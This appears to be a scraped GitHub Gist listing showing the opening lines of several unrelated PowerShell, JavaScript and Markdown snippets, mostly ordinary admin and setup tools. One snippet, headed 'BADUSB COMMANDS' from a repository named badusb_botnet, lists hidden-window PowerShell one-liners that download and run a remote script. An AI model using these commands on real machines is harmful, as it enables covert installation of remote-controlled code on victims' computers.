Skip to content

Instantly share code, notes, and snippets.

View mark05e's full-sized avatar

mark05E mark05e

View GitHub Profile
@irlperu
irlperu / exportchrome.ps1
Created May 10, 2019 14:06
Export Chrome Bookmarks
#credits: Mostly to tobibeer and Snak3d0c @ https://stackoverflow.com/questions/47345612/export-chrome-bookmarks-to-csv-file-using-powershell
#Path to chrome bookmarks
$pathToJsonFile = "$env:localappdata\Google\Chrome\User Data\Default\Bookmarks"
$htmlOut = 'C:\temp\ChromeBookmarks.html'
$htmlHeader = @'
<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!--This is an automatically generated file.
It will be read and overwritten.
Do Not Edit! -->
# Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://api.cacher.io/raw/0fcd76d0761e565a8c4e/10eb91268af60bb8abb2/start-cleanup'))
Function Start-Cleanup {
<#
.SYNOPSIS
Automate cleaning up a C:\ drive with low disk space
.DESCRIPTION
Cleans the C: drive's Window Temperary files, Windows SoftwareDistribution folder,
the local users Temperary folder, IIS logs(if applicable) and empties the recycling bin.
@ndom91
ndom91 / boxstarter_newtelco.ps1
Last active February 24, 2020 04:59
Newtelco Windows Setup Script [boxstarter, choco, PS3.0+]
###################################################
#
# Newtelco Windows PC Setup Script
# Author: [email protected]
# Date: 05.04.19
#
###################################################
# Install Boxstarter (run in a PowerShell (Administrator) shell)
Set-ExecutionPolicy RemoteSigned
@benyoungnz
benyoungnz / restartServices.ps1
Created February 26, 2019 20:51
Windows Service Restart and Slack Log
#---------------------------------[Slack Setup]---------------------------------
#bot name to post into slack
$slackBotName = "YourSlackBotName"
#your slack webhook key - blank for no trigger
$slackKey = "YOURSLACKWEBHOOK"
#slack channel to post into
$slackChannel = "#YourChannel"
#---------------------------------[Services Setup]---------------------------------
@mohno007
mohno007 / 00_README.md
Last active August 29, 2022 04:39
πŸ” Java Search β˜• : Search Java SE API Documents from Chrome / Firefox Adress Bar

πŸ” Java Search β˜• : Search Java SE API Documents from Adress Bar

This UserScript allow you to search Java API documents from address bar.

image

Chrome / Edge

  1. Install UserScript extension
@nitsh
nitsh / Install-7Zip.ps1
Created January 21, 2019 11:31
Install 7Zip in windows from powershell
#Inspired from https://github.com/ferventcoder/vagrant-windows-puppet/blob/master/boxes/shared/shell/InstallPuppetFromMSI.ps1
$7ZipUrl = "https://www.7-zip.org/a/7z1806.msi"
$7ZipInstallerPath = 'c:\vagrant\bin'
$7ZipInstallerFile = '7z1806.msi'
$7ZipInstaller = Join-Path $7ZipInstallerPath $7ZipInstallerFile
if ([System.IntPtr]::Size -eq 8) {
Write-Host "Going to 7Zip 64-bit."
function interceptNetworkRequests(ee) {
const open = XMLHttpRequest.prototype.open;
const send = XMLHttpRequest.prototype.send;
const isRegularXHR = open.toString().indexOf('native code') !== -1;
// don't hijack if already hijacked - this will mess up with frameworks like Angular with zones
// we work if we load first there which we can.
if (isRegularXHR) {
<#
BADUSB COMMANDS:
# Execute
powershell.exe -windowstyle hidden -file this_file.ps1
#Execute script from github
iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1'))
PowerShell.exe -WindowStyle Hidden -Command iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1'))
PowerShell.exe -WindowStyle Minimized -Command iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1'))
REGEDIT:
@tjelen
tjelen / zerotier-ubuntu-gateway.md
Last active February 20, 2025 19:48
Zerotier: Setting up the default gateway in Ubuntu Linux

Zerotier Ubuntu config notes

Setting up the default gateway (for VPN tunelling)

Ubuntu 18.04 UFW settings, based on [1] Step 1

  • ens3 .. primary physical ETH interface
  • 10.243.0.0/16 .. ZT network